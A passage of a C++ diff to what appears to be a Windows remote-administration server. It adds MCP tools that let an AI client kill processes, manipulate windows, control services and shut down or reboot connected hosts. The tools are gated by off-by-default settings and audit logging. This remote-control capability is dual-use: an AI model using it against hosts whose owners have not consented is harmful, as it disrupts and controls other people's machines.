+        (LPARAM)new CString(_TR("MCP管理操作")));
+}
+
+// kill_process：主连接 COMMAND_SYSTEM → 系统子连接 TOKEN_PSLIST（就绪）→ COMMAND_KILLPROCESS
+// → 补发 COMMAND_PSLIST → 第二个 TOKEN_PSLIST（确认）。payload 与 SystemDlg::OnPlistKill 一致。
+std::string BuildKillProcess(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent) {
+    uint64_t devId = 0;
+    std::string err;
+    if (!ParseHostIdArg(args, devId, err))
+        return BuildError(id, -32602, err);
+
+    context* ctx = FindMainContext(parent, devId);
+    if (!ctx)
+        return BuildError(id, -32002, "Host not found or offline: " + std::to_string(devId));
+
+    CString clientType = ctx->GetAdditionalData(RES_CLIENT_TYPE);
+    if (clientType == "LNX" || clientType == "MAC" || clientType == "APK")
+        return BuildError(id, -32005, "kill_process is only supported on Windows hosts");
+
+    CMcpServer& mcp = CMcpServer::Instance();
+    if (mcp.IsReadonly())
+        return BuildError(id, -32006, "kill_process is disabled: MCP is in read-only mode (set McpReadonly=0 to enable)");
+    if (!mcp.IsManageEnabled())
+        return BuildError(id, -32006, "kill_process is disabled: management operations are off (set McpManage=1 to enable)");
+
+    const Json::Value& pids = args["pids"];
+    if (!pids.isArray() || pids.size() == 0)
+        return BuildError(id, -32602, "Missing or invalid parameter: pids (non-empty integer array)");
+
+    std::vector<uint64_t> pidList;
+    std::vector<BYTE> followUp;
+    followUp.push_back((BYTE)COMMAND_KILLPROCESS);
+    for (unsigned int i = 0; i < pids.size(); ++i) {
+        uint64_t pid = 0;
+        if (!ReadUInt64(pids[i], pid) || pid == 0)
+            return BuildError(id, -32602, "pids must be non-zero integers");
+        pidList.push_back(pid);
+        DWORD d = (DWORD)pid;
+        followUp.push_back((BYTE)(d & 0xFF));
+        followUp.push_back((BYTE)((d >> 8) & 0xFF));
+        followUp.push_back((BYTE)((d >> 16) & 0xFF));
+        followUp.push_back((BYTE)((d >> 24) & 0xFF));
+    }
+
+    if (!mcp.BeginPendingFollowUp(devId, "kill_process", followUp))
+        return BuildError(id, -32003, "Device busy: another request is pending for this host");
+
+    BYTE cmd = COMMAND_SYSTEM;
+    if (!ctx->Send2Client(&cmd, 1)) {
+        mcp.ClearPending(devId);
+        return BuildError(id, -32004, "Failed to send command to host");
+    }
+
+    std::vector<BYTE> data;
+    if (!mcp.WaitPendingWrite(devId, data, kMcpToolTimeoutMs))
+        return BuildError(id, -32001, "Timeout waiting for process list after kill");
+
+    UINT cp = (clientType == "LNX" || clientType == "MAC") ? CP_UTF8 : 936;
+    Json::Value procs = ParseProcessList(data, cp);
+
+    Json::Value remaining(Json::arrayValue);
+    std::string detail = "pids=";
+    for (size_t i = 0; i < pidList.size(); ++i) {
+        if (i) detail += ",";
+        detail += std::to_string(pidList[i]);
+        bool stillAlive = false;
+        for (unsigned int j = 0; j < procs.size(); ++j) {
+            if (procs[j]["pid"].asUInt64() == pidList[i]) { stillAlive = true; break; }
+        }
+        if (stillAlive) remaining.append((Json::UInt64)pidList[i]);
+    }
+
+    AuditManageAction(parent, devId, "kill_process", detail);
+
+    Json::Value result(Json::objectValue);
+    Json::Value structuredContent(Json::objectValue);
+    structuredContent["remaining"] = remaining;
+    result["structuredContent"] = structuredContent;
+
+    Json::Value content(Json::arrayValue);
+    Json::Value item(Json::objectValue);
+    item["type"] = "text";
+    item["text"] = remaining.empty()
+        ? std::string(u8"目标进程已全部终止。")
+        : std::string(u8"仍有 ") + std::to_string((int)remaining.size()) + std::string(u8" 个进程存活（见 remaining）。");
+    content.append(item);
+    result["content"] = content;
+    result["isError"] = false;
+
+    return BuildResult(id, result);
+}
+
+// operate_window：主连接 COMMAND_WSLIST → 窗口子连接 TOKEN_WSLIST（就绪）→ CMD_WINDOW_CLOSE
+// （close 客户端自动回 TOKEN_WSLIST）或 CMD_WINDOW_TEST（test 补发 COMMAND_WSLIST 索取）。
+// 20 字节零填充 buffer 复刻 SystemDlg::OnWlistClose/OnWlistHide/Recover/Max/Min（hwnd 为 DWORD）。
+std::string BuildOperateWindow(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent) {
+    uint64_t devId = 0;
+    std::string err;
+    if (!ParseHostIdArg(args, devId, err))
+        return BuildError(id, -32602, err);
+
+    context* ctx = FindMainContext(parent, devId);
+    if (!ctx)
+        return BuildError(id, -32002, "Host not found or offline: " + std::to_string(devId));
+
+    CString clientType = ctx->GetAdditionalData(RES_CLIENT_TYPE);
+    if (clientType == "LNX" || clientType == "MAC" || clientType == "APK")
+        return BuildError(id, -32005, "operate_window is only supported on Windows hosts");
+
+    CMcpServer& mcp = CMcpServer::Instance();
+    if (mcp.IsReadonly())
+        return BuildError(id, -32006, "operate_window is disabled: MCP is in read-only mode (set McpReadonly=0 to enable)");
+    if (!mcp.IsManageEnabled())
+        return BuildError(id, -32006, "operate_window is disabled: management operations are off (set McpManage=1 to enable)");
+
+    uint64_t hwnd = 0;
+    if (!ReadUInt64Arg(args, "hwnd", hwnd) || hwnd == 0)
+        return BuildError(id, -32602, "Missing or invalid parameter: hwnd (non-zero window handle)");
+
+    std::string action = Trim(GetStringArg(args, "action"));
+
+    BYTE lpMsgBuf[20] = { 0 };
+    DWORD h = (DWORD)hwnd;
+    if (action == "close") {
+        lpMsgBuf[0] = CMD_WINDOW_CLOSE;
+        memcpy(lpMsgBuf + 1, &h, sizeof(DWORD));
+    } else {
+        DWORD dHow;
+        if (action == "hide")            dHow = SW_HIDE;       // 0
+        else if (action == "show")       dHow = SW_NORMAL;     // 1
+        else if (action == "restore")    dHow = SW_NORMAL;     // 1
+        else if (action == "maximize")   dHow = SW_MAXIMIZE;   // 3
+        else if (action == "minimize")   dHow = SW_MINIMIZE;   // 6
+        else return BuildError(id, -32602,
+                               "Invalid action: " + action + " (expect close|show|hide|minimize|maximize|restore)");
+        lpMsgBuf[0] = CMD_WINDOW_TEST;
+        memcpy(lpMsgBuf + 1, &h, sizeof(DWORD));
+        memcpy(lpMsgBuf + 1 + sizeof(DWORD), &dHow, sizeof(DWORD));
+    }
+
+    std::vector<BYTE> followUp(lpMsgBuf, lpMsgBuf + sizeof(lpMsgBuf));
+    if (!mcp.BeginPendingFollowUp(devId, "operate_window", followUp))
+        return BuildError(id, -32003, "Device busy: another request is pending for this host");
+
+    BYTE cmd = COMMAND_WSLIST;
+    if (!ctx->Send2Client(&cmd, 1)) {
+        mcp.ClearPending(devId);
+        return BuildError(id, -32004, "Failed to send command to host");
+    }
+
+    std::vector<BYTE> data;
+    if (!mcp.WaitPendingWrite(devId, data, kMcpToolTimeoutMs))
+        return BuildError(id, -32001, "Timeout waiting for window operation");
+
+    AuditManageAction(parent, devId, "operate_window",
+                      "action=" + action + " hwnd=" + std::to_string(hwnd));
+
+    Json::Value result(Json::objectValue);
+    Json::Value structuredContent(Json::objectValue);
+    structuredContent["ok"] = true;
+    result["structuredContent"] = structuredContent;
+
+    Json::Value content(Json::arrayValue);
+    Json::Value item(Json::objectValue);
+    item["type"] = "text";
+    item["text"] = std::string(u8"已下发窗口操作：") + action;
+    content.append(item);
+    result["content"] = content;
+    result["isError"] = false;
+
+    return BuildResult(id, result);
+}
+
+// control_service：主连接 COMMAND_SERVICES → 服务子连接 TOKEN_SERVERLIST（就绪）→
+// COMMAND_SERVICECONFIG → 客户端写后自动 SendServicesList（确认，无需补发）。
+std::string BuildControlService(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent) {
+    uint64_t devId = 0;
+    std::string err;
+    if (!ParseHostIdArg(args, devId, err))
+        return BuildError(id, -32602, err);
+
+    context* ctx = FindMainContext(parent, devId);
+    if (!ctx)
+        return BuildError(id, -32002, "Host not found or offline: " + std::to_string(devId));
+
+    CString clientType = ctx->GetAdditionalData(RES_CLIENT_TYPE);
+    if (clientType == "LNX" || clientType == "MAC" || clientType == "APK")
+        return BuildError(id, -32005, "control_service is only supported on Windows hosts");
+
+    CMcpServer& mcp = CMcpServer::Instance();
+    if (mcp.IsReadonly())
+        return BuildError(id, -32006, "control_service is disabled: MCP is in read-only mode (set McpReadonly=0 to enable)");
+    if (!mcp.IsManageEnabled())
+        return BuildError(id, -32006, "control_service is disabled: management operations are off (set McpManage=1 to enable)");
+
+    std::string serviceName = Trim(GetStringArg(args, "service_name"));
+    if (serviceName.empty())
+        return BuildError(id, -32602, "Missing required parameter: service_name");
+
+    std::string action = Trim(GetStringArg(args, "action"));
+    BYTE bCmd;
+    if (action == "start")            bCmd = 1;
+    else if (action == "stop")        bCmd = 2;
+    else if (action == "set_auto")    bCmd = 3;
+    else if (action == "set_manual")  bCmd = 4;
+    else return BuildError(id, -32602,
+                           "Invalid action: " + action + " (expect start|stop|set_auto|set_manual)");
+
+    // 服务名来自 Windows A 接口（GBK/936），下发前转 ANSI。payload 与 MachineDlg 一致：
+    // [COMMAND_SERVICECONFIG:1][bCmd:1][serviceName\0]。
+    std::string ansiName = ToAnsi(serviceName, 936);
+    std::vector<BYTE> followUp;
+    followUp.reserve(2 + ansiName.size() + 1);
+    followUp.push_back((BYTE)COMMAND_SERVICECONFIG);
+    followUp.push_back(bCmd);
+    followUp.insert(followUp.end(), ansiName.begin(), ansiName.end());
+    followUp.push_back(0);
+
+    if (!mcp.BeginPendingFollowUp(devId, "control_service", followUp))
+        return BuildError(id, -32003, "Device busy: another request is pending for this host");
+
+    BYTE cmd = COMMAND_SERVICES;
+    if (!ctx->Send2Client(&cmd, 1)) {
+        mcp.ClearPending(devId);
+        return BuildError(id, -32004, "Failed to send command to host");
+    }
+
+    std::vector<BYTE> data;
+    if (!mcp.WaitPendingWrite(devId, data, kMcpToolTimeoutMs))
+        return BuildError(id, -32001, "Timeout waiting for service operation");
+
+    AuditManageAction(parent, devId, "control_service",
+                      "service=" + serviceName + " action=" + action);
+
+    Json::Value result(Json::objectValue);
+    Json::Value structuredContent(Json::objectValue);
+    structuredContent["ok"] = true;
+    result["structuredContent"] = structuredContent;
+
+    Json::Value content(Json::arrayValue);
+    Json::Value item(Json::objectValue);
+    item["type"] = "text";
+    item["text"] = std::string(u8"已下发服务操作：") + action + std::string(u8" ") + serviceName;
+    content.append(item);
+    result["content"] = content;
+    result["isError"] = false;
+
+    return BuildResult(id, result);
+}
+
+// power_action：主连接 TOKEN_MACHINE_MANAGE，发完即走（无响应）；主机立即离线。
+std::string BuildPowerAction(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent) {
+    uint64_t devId = 0;
+    std::string err;
+    if (!ParseHostIdArg(args, devId, err))
+        return BuildError(id, -32602, err);
+
+    context* ctx = FindMainContext(parent, devId);
+    if (!ctx)
+        return BuildError(id, -32002, "Host not found or offline: " + std::to_string(devId));
+
+    CString clientType = ctx->GetAdditionalData(RES_CLIENT_TYPE);
+    if (clientType == "LNX" || clientType == "MAC" || clientType == "APK")
+        return BuildError(id, -32005, "power_action is only supported on Windows hosts");
+
+    CMcpServer& mcp = CMcpServer::Instance();
+    if (mcp.IsReadonly())
+        return BuildError(id, -32006, "power_action is disabled: MCP is in read-only mode (set McpReadonly=0 to enable)");
+    if (!mcp.IsManageEnabled())
+        return BuildError(id, -32006, "power_action is disabled: management operations are off (set McpManage=1 to enable)");
+
+    std::string action = Trim(GetStringArg(args, "action"));
+    BYTE type;
+    if (action == "logout")            type = MACHINE_LOGOUT;
+    else if (action == "shutdown")     type = MACHINE_SHUTDOWN;
+    else if (action == "reboot")       type = MACHINE_REBOOT;
+    else return BuildError(id, -32602,
+                           "Invalid action: " + action + " (expect logout|shutdown|reboot)");
+
+    // 主连接、发完即走、无响应（客户端 KernelManager 只校验 ulLength>1 并读 szBuffer[1]）。
+    BYTE token[2] = { (BYTE)TOKEN_MACHINE_MANAGE, type };
+    if (!ctx->Send2Client(token, 2))
+        return BuildError(id, -32004, "Failed to send command to host");
+
+    AuditManageAction(parent, devId, "power_action", "action=" + action);
+
+    Json::Value result(Json::objectValue);
+    Json::Value structuredContent(Json::objectValue);
+    structuredContent["ok"] = true;
+    result["structuredContent"] = structuredContent;
+
+    Json::Value content(Json::arrayValue);
+    Json::Value item(Json::objectValue);
+    item["type"] = "text";
+    item["text"] = std::string(u8"已下发电源操作：") + action;
+    content.append(item);
+    result["content"] = content;
+    result["isError"] = false;
+
+    return BuildResult(id, result);
+}
+
 // tools/call 分派
 std::string BuildToolsCall(const Json::Value& root, CMy2015RemoteDlg* parent) {
     const Json::Value& id = root["id"];
@@ -4210,6 +4710,10 @@ std::string BuildToolsCall(const Json::Value& root, CMy2015RemoteDlg* parent) {
     if (toolName == "remote_clipboard")  return BuildRemoteClipboard(id, args, parent);
     if (toolName == "download_file")     return BuildDownloadFile(id, args, parent);
     if (toolName == "upload_file")       return BuildUploadFile(id, args, parent);
+    if (toolName == "kill_process")      return BuildKillProcess(id, args, parent);
+    if (toolName == "operate_window")    return BuildOperateWindow(id, args, parent);
+    if (toolName == "control_service")   return BuildControlService(id, args, parent);
+    if (toolName == "power_action")      return BuildPowerAction(id, args, parent);
 
     return BuildError(id, -32602,
                       "Unknown tool: " + (toolName.empty() ? std::string("(empty)") : toolName));
@@ -4727,7 +5231,8 @@ bool CMcpServer::IsPending(uint64_t device_id) {
 void CMcpServer::TakeMainResponse(uint64_t device_id, const BYTE* data, ULONG len) {
     std::lock_guard<std::mutex> lk(m_PendingMutex);
     auto it = m_Pending.find(device_id);
-    if (it == m_Pending.end()) return;  // 已超时清理 → 迟到数据，丢弃
+    if (it == m_Pending.end()) { Mprintf("[MCP-P7] TakeMainResponse dev=%llu len=%d: no pending (late/dropped)\n", device_id, (int)len); return; }  // 已超时清理 → 迟到数据，丢弃
+    Mprintf("[MCP-P7] TakeMainResponse dev=%llu len=%d done\n", device_id, (int)len);
     it->second.data.assign(data, data + len);
     it->second.done = true;
     m_PendingCv.notify_one();
@@ -4902,6 +5407,110 @@ bool CMcpServer::WaitPendingRegistry(uint64_t device_id, std::vector<BYTE>& subk
     return true;
 }
 
+// ===== P7：设备管理控制（写工具接管）=====
+
+bool CMcpServer::BeginPendingFollowUp(uint64_t device_id, const std::string& tool,
+                                      const std::vector<BYTE>& followUp) {
+    if (IsFileTransferPending(device_id)) return false;  // 该 host 有文件传输会话在飞（互斥，见 F2）
+    std::lock_guard<std::mutex> lk(m_PendingMutex);
+    if (m_Pending.find(device_id) != m_Pending.end()) return false;  // 设备忙
+    PendingRequest r;
+    r.tool = tool;
+    r.followUp = followUp;
+    m_Pending[device_id] = std::move(r);
+    return true;
+}
+
+bool CMcpServer::OnSystemReady(uint64_t device_id, context* subCtx) {
+    std::string tool;
+    std::vector<BYTE> followUp;
+    {
+        std::lock_guard<std::mutex> lk(m_PendingMutex);
+        auto it = m_Pending.find(device_id);
+        if (it == m_Pending.end()) { Mprintf("[MCP-P7] OnSystemReady dev=%llu: no pending\n", device_id); return false; }  // 无挂起 → 回落 MFC
+        tool = it->second.tool;
+        if (tool != "kill_process" && tool != "operate_window") { Mprintf("[MCP-P7] OnSystemReady dev=%llu tool=%s: not write tool\n", device_id, tool.c_str()); return false; }
+        if (it->second.followUpSent) { Mprintf("[MCP-P7] OnSystemReady dev=%llu tool=%s: CONFIRM token -> TakeMainResponse\n", device_id, tool.c_str()); return false; }  // 确认包 → TakeMainResponse
+        followUp = it->second.followUp;
+        it->second.subCtx = subCtx;
+        it->second.followUpSent = true;
+    }
+
+    // 锁外下发写命令；kill/test 需补发刷新命令索取新列表（close/control_service 客户端自动回）。
+    BOOL b1 = subCtx->Send2Client(followUp.data(), (ULONG)followUp.size());
+    BYTE refresh = 0;
+    if (tool == "kill_process") {
+        refresh = (BYTE)COMMAND_PSLIST;
+    } else if (!followUp.empty() && followUp[0] == CMD_WINDOW_TEST) {
+        refresh = (BYTE)COMMAND_WSLIST;
+    }
+    if (refresh) {
+        // followUp 与 refresh 是两次独立 Send2Client，各自 PostQueuedCompletionStatus(IOWrite)，
+        // worker 会对同一 OutCompressedBuffer 并发发起 WSASend，造成竞态/丢包。用 WaitSendIdle
+        // 确定性等首个包真正发完再发刷新包（比 MFC 的 Sleep(100) 盲等更稳）。
+        subCtx->WaitSendIdle(2000);
+        BOOL b2 = subCtx->Send2Client(&refresh, 1);
+        Mprintf("[MCP-P7] OnSystemReady dev=%llu tool=%s READY: followUpSend=%d refreshSend=%d refresh=%d\n",
+                device_id, tool.c_str(), b1 ? 1 : 0, b2 ? 1 : 0, (int)refresh);
+    }
+    return true;                                                          // 已接管，不 CancelIO
+}
+
+bool CMcpServer::OnServiceReady(uint64_t device_id, context* subCtx) {
+    std::vector<BYTE> followUp;
+    {
+        std::lock_guard<std::mutex> lk(m_PendingMutex);
+        auto it = m_Pending.find(device_id);
+        if (it == m_Pending.end()) return false;
+        if (it->second.tool != "control_service") return false;
+        if (it->second.followUpSent) return false;                        // 确认包 → 调用方 TakeMainResponse
+        followUp = it->second.followUp;
+        it->second.subCtx = subCtx;
+        it->second.followUpSent = true;
+    }
+    subCtx->Send2Client(followUp.data(), (ULONG)followUp.size());
+    return true;                                                          // 客户端写后自动回，无需补发
+}
+
+bool CMcpServer::WaitPendingWrite(uint64_t device_id, std::vector<BYTE>& out, int timeoutMs) {
+    context* subCtx = nullptr;
+    std::unique_lock<std::mutex> lk(m_PendingMutex);
+    auto it = m_Pending.find(device_id);
+    if (it == m_Pending.end()) return false;
+
+    bool signaled = m_PendingCv.wait_for(lk, std::chrono::milliseconds(timeoutMs),
+                                         [&] { return it->second.done; });
+    if (!signaled || it->second.data.empty()) {
+        subCtx = it->second.subCtx;
+        Mprintf("[MCP-P7] WaitPendingWrite dev=%llu TIMEOUT: signaled=%d dataEmpty=%d subCtx=%p\n",
+                device_id, signaled ? 1 : 0, it->second.data.empty() ? 1 : 0, (void*)subCtx);
+        m_Pending.erase(it);                              // 超时/空数据 → 清理
+        lk.unlock();
+        if (subCtx) subCtx->CancelIO();                   // 锁外关子连接，防孤儿子连接
+        return false;
+    }
+    out = std::move(it->second.data);
+    Mprintf("[MCP-P7] WaitPendingWrite dev=%llu OK len=%d\n", device_id, (int)out.size());
+    m_Pending.erase(it);
+    return true;
+}
+
+void CMcpServer::OnManageSubClosed(context* subCtx) {
+    std::lock_guard<std::mutex> lk(m_PendingMutex);
+    // 只匹配「已接管、等确认包」的写工具子连接（read 工具从不存 subCtx，天然不命中）。
+    // 扫描而非按 device_id 查找，避免依赖断线后 GetClientID 是否仍有效。
+    for (auto& kv : m_Pending) {
+        if (kv.second.subCtx == subCtx) {
+            Mprintf("[MCP-P7] OnManageSubClosed subCtx=%p tool=%s: sub-conn closed before confirm\n",
+                    (void*)subCtx, kv.second.tool.c_str());
+            kv.second.subCtx = nullptr;  // 断线后子连接已死/将回收，超时路径不得再 CancelIO
+            kv.second.done = true;       // 唤醒等待线程（WaitPendingWrite 见 data 空 → 返回失败）
+            m_PendingCv.notify_all();
+            break;
+        }
+    }
+}
+
 // rand_s：Windows CRT 加密安全随机源（基于系统 CSPRNG）。其声明需在 <stdlib.h> 前
 // 定义 _CRT_RAND_S；为避免依赖 PCH 的包含顺序，这里手动声明其导出原型（errno_t == int）。
 extern "C" int __cdecl rand_s(unsigned int* randomValue);

server/2015Remote/McpServer.h

@@ -242,6 +242,34 @@ public:
     // 收尾：擦会话 + 锁外 CancelIO 文件管理器/流式两条子链接（幂等）。
     void ClearFileTransfer(uint64_t device_id);
 
+    // ===== P7：设备管理控制（kill_process / operate_window / control_service / power_action）=====
+    // 写工具复用 m_Pending 单飞行；followUp/followUpSent/subCtx 标记接管进度。
+    // 「就绪 token」与「确认 token」是同一 token（客户端子连接构造即回一包，写后再回一包），
+    // 故必须用 followUpSent 区分两次到达，不能靠 token 区分（与 list_registry 的 PATH/KEY 双 token 不同）。
+    void SetManageEnabled(bool enabled) { m_manageEnabled = enabled; }
+    bool IsManageEnabled() const { return m_manageEnabled; }
+
+    // 登记写挂起：与 BeginPending 同单飞行，另预填 followUp（写命令 payload）。
+    bool BeginPendingFollowUp(uint64_t device_id, const std::string& tool,
+                              const std::vector<BYTE>& followUp);
+
+    // MessageHandle(TOKEN_PSLIST/TOKEN_WSLIST) 调用：命中且为写工具（kill_process/operate_window）
+    // 则接管子连接、下发 followUp（返回 true=已接管，调用方不 CancelIO）；否则 false（回落 MFC
+    // 或按确认包走 TakeMainResponse）。
+    bool OnSystemReady(uint64_t device_id, context* subCtx);
+
+    // MessageHandle(TOKEN_SERVERLIST) 调用：命中且为 control_service 则接管、下发
+    // COMMAND_SERVICECONFIG（返回 true=已接管）；否则 false。
+    bool OnServiceReady(uint64_t device_id, context* subCtx);
+
+    // 工具线程：等待写确认包（第二个同 token 包）；超时/空数据清挂起并 CancelIO 子连接。
+    bool WaitPendingWrite(uint64_t device_id, std::vector<BYTE>& out, int timeoutMs);
+
+    // OfflineProc 调用：接管的子连接断开时清挂起（置 done 并清 subCtx，唤醒等待线程）。
+    // 不擦表（由 WaitPendingWrite 持有迭代器时自行擦除，防迭代器失效）；清 subCtx 使
+    // 超时路径不会对已回收（连接池复用）的 context 误 CancelIO。
+    void OnManageSubClosed(context* subCtx);
+
     // 安全配置（启动时由 CMy2015RemoteDlg 读 THIS_CFG 后设置）。
     void SetReadonly(bool readonly) { m_readonly = readonly; }
     void SetCmdWhitelist(const std::string& whitelist) { m_cmdWhitelist = whitelist; }
@@ -274,6 +302,10 @@ private:
         bool              pathDone = false;  // list_registry：已收到 TOKEN_REG_PATH
         bool              keyDone  = false;  // list_registry：已收到 TOKEN_REG_KEY
         bool              done = false;
+        // ===== P7：写工具（kill_process / operate_window / control_service）接管进度 =====
+        std::vector<BYTE> followUp;          // 接管后下发的写命令 payload（首字节 = 写命令）
+        bool              followUpSent = false; // false=等子连接就绪（首包）；true=已发写命令、等确认包
+        context*          subCtx = nullptr;  // 接管的子连接（超时/失败 CancelIO 用，防孤儿子连接）
     };
     std::mutex                   m_PendingMutex;
     std::condition_variable      m_PendingCv;
@@ -348,6 +380,7 @@ private:
     bool        m_terminalEnabled = false;      // 持久终端开关（默认关；要求 m_readonly=false）
     bool        m_remoteControlEnabled = false; // 远程控制开关（默认关；要求 m_readonly=false）
     bool        m_fileTransferEnabled = false;  // 文件传输开关（默认关；download_file）
+    bool        m_manageEnabled = false;        // P7 管理控制开关（默认关；要求 m_readonly=false）
 };
 
 // 全局访问器（仿 WebService()，见 WebService.h 末尾）

server/2015Remote/McpSettingsDlg.cpp

@@ -145,6 +145,9 @@ BOOL CMcpSettingsDlg::OnInitDialog()
     m_btnFileTransfer.Create(_TR("启用文件传输（download_file）"),
                              WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_AUTOCHECKBOX,
                              r0, this, IDC_MCP_FILETRANSFER);
+    m_btnManage.Create(_TR("启用管理操作（进程/窗口/服务/电源）"),
+                       WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_AUTOCHECKBOX,
+                       r0, this, IDC_MCP_MANAGE);
     m_lblWhitelist.Create(_TR("命令白名单"), WS_CHILD | WS_VISIBLE, r0, this, (UINT)-1);
     m_editWhitelist.Create(WS_CHILD | WS_VISIBLE | WS_BORDER | WS_TABSTOP |
                            ES_MULTILINE | ES_AUTOVSCROLL | ES_WANTRETURN | WS_VSCROLL,
@@ -168,6 +171,7 @@ BOOL CMcpSettingsDlg::OnInitDialog()
         m_btnTerminal.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
         m_btnRemoteControl.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
         m_btnFileTransfer.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+        m_btnManage.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
         m_lblWhitelist.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
         m_editWhitelist.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
         m_btnOK.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
@@ -184,6 +188,7 @@ BOOL CMcpSettingsDlg::OnInitDialog()
     int terminal = THIS_CFG.GetInt("settings", "McpTerminal", 0);
     int remoteControl = THIS_CFG.GetInt("settings", "McpRemoteControl", 0);
     int fileTransfer = THIS_CFG.GetInt("settings", "McpFileTransfer", 0);
+    int manage = THIS_CFG.GetInt("settings", "McpManage", 0);
     std::string whitelist = THIS_CFG.GetStr("settings", "McpCmdWhitelist", "");
 
     m_btnEnable.SetCheck(enabled ? BST_CHECKED : BST_UNCHECKED);
@@ -194,6 +199,7 @@ BOOL CMcpSettingsDlg::OnInitDialog()
     m_btnTerminal.SetCheck(terminal ? BST_CHECKED : BST_UNCHECKED);
     m_btnRemoteControl.SetCheck(remoteControl ? BST_CHECKED : BST_UNCHECKED);
     m_btnFileTransfer.SetCheck(fileTransfer ? BST_CHECKED : BST_UNCHECKED);
+    m_btnManage.SetCheck(manage ? BST_CHECKED : BST_UNCHECKED);
     // 白名单存储为逗号分隔，展示为每行一条。
     m_editWhitelist.SetWindowText(CString(WhitelistForDisplay(whitelist).c_str()));
 
@@ -213,6 +219,7 @@ void CMcpSettingsDlg::OnOK()
     bool terminal = (m_btnTerminal.GetCheck() == BST_CHECKED);
     bool remoteControl = (m_btnRemoteControl.GetCheck() == BST_CHECKED);
     bool fileTransfer = (m_btnFileTransfer.GetCheck() == BST_CHECKED);
+    bool manage = (m_btnManage.GetCheck() == BST_CHECKED);
 
     // 端口校验：1-65535
     int port = atoi(CT2A(sPort));
@@ -239,14 +246,15 @@ void CMcpSettingsDlg::OnOK()
     THIS_CFG.SetInt("settings", "McpTerminal", terminal ? 1 : 0);
     THIS_CFG.SetInt("settings", "McpRemoteControl", remoteControl ? 1 : 0);
     THIS_CFG.SetInt("settings", "McpFileTransfer", fileTransfer ? 1 : 0);
+    THIS_CFG.SetInt("settings", "McpManage", manage ? 1 : 0);
     std::string whitelist = CT2A(sWhitelist);
     whitelist = NormalizeWhitelist(whitelist);
     THIS_CFG.SetStr("settings", "McpCmdWhitelist", whitelist);
 
     // 拆成两段可翻译的单行键，中间用 \r\n 连接（多行键无法在 INI 中表示）
     MessageBox(_TR("MCP 设置已保存。") + _T("\r\n") +
-               _TR("启用/端口/绑定地址/Token/只读/白名单/持久终端/远程控制/文件传输的改动需重启程序生效。") + _T("\r\n") +
-               _TR("持久终端与远程控制仅在只读模式关闭时生效。"),
+               _TR("启用/端口/绑定地址/Token/只读/白名单/持久终端/远程控制/文件传输/管理操作的改动需重启程序生效。") + _T("\r\n") +
+               _TR("持久终端、远程控制与管理操作仅在只读模式关闭时生效。"),
                _TR("提示"), MB_ICONINFORMATION);
 
     CDialog::OnOK();
@@ -289,6 +297,9 @@ void CMcpSettingsDlg::LayoutControls(int cx, int cy)
     m_btnFileTransfer.MoveWindow(margin, y, cx - margin * 2, 22);
     y += 30;
 
+    m_btnManage.MoveWindow(margin, y, cx - margin * 2, 22);
+    y += 30;
+
     const int whitelistH = 90;
     m_lblWhitelist.MoveWindow(margin, y, labelW, rowH);
     m_editWhitelist.MoveWindow(margin + labelW, y - 2, cx - margin * 2 - labelW, whitelistH);

server/2015Remote/McpSettingsDlg.h

@@ -31,6 +31,7 @@ private:
         IDC_MCP_TERMINAL  = 1007,  // 「启用持久终端」复选框（全命令，无白名单，要求只读关）
         IDC_MCP_REMOTECONTROL = 1008,  // 「启用远程控制」复选框（AI 操控桌面，要求只读关）
         IDC_MCP_FILETRANSFER = 1009,  // 「启用文件传输」复选框（download_file，不要求只读关）
+        IDC_MCP_MANAGE      = 1010,  // 「启用管理操作」复选框（kill/窗口/服务/电源，要求只读关）
     };
 
     CButton m_btnEnable;
@@ -40,6 +41,7 @@ private:
     CButton m_btnTerminal;
     CButton m_btnRemoteControl;
     CButton m_btnFileTransfer;
+    CButton m_btnManage;
     CStatic m_lblWhitelist;
     CEdit   m_editWhitelist;
     CButton m_btnOK, m_btnCancel;

server/2015Remote/NotifyManager.cpp

@@ -205,7 +205,8 @@ void NotifyManager::BuildHostOnlineEmail(context* ctx, const std::string& matche
     // Get host info
     std::string computerName = CT2A(ctx->GetClientData(ONLINELIST_COMPUTER_NAME), CP_UTF8);
     std::string ip = CT2A(ctx->GetClientData(ONLINELIST_IP), CP_UTF8);
-    std::string location = CT2A(ctx->GetClientData(ONLINELIST_LOCATION), CP_UTF8);
+    // 地理位置已统一按 UTF-8 存储（见 AddList），直接透传，不再 CP_ACP→UTF-8 二次转换。
+    std::string location = ctx->GetClientData(ONLINELIST_LOCATION).GetString();
     std::string os = CT2A(ctx->GetClientData(ONLINELIST_OS), CP_UTF8);
     std::string version = CT2A(ctx->GetClientData(ONLINELIST_VERSION), CP_UTF8);
 

server/2015Remote/NotifySettingsDlg.cpp

@@ -56,7 +56,7 @@ BOOL NotifySettingsDlg::OnInitDialog()
     SetDlgItemText(IDC_STATIC_TRIGGER, _TR(_T("触发条件:")));
     SetDlgItemText(IDC_STATIC_MATCH_COLUMN, _TR(_T("匹配列:")));
     SetDlgItemText(IDC_STATIC_KEYWORDS, _TR(_T("关键词:")));
-    SetDlgItemText(IDC_STATIC_KEYWORDS_HINT, _TR(_T("(多个关键词用分号分隔，匹配任一项即触发通知)")));
+    SetDlgItemText(IDC_STATIC_KEYWORDS_HINT, _TR(_T("(每行一个关键词，匹配任一项即触发通知)")));
     SetDlgItemText(IDC_STATIC_NOTIFY_TIP, _TR(_T("提示: 同一主机 60 分钟内仅通知一次")));
     SetDlgItemText(IDOK, _TR("确定"));
     SetDlgItemText(IDCANCEL, _TR("取消"));
@@ -154,7 +154,24 @@ void NotifySettingsDlg::LoadSettings()
         m_comboNotifyColumn.SetCurSel(rule.columnIndex);
     }
 
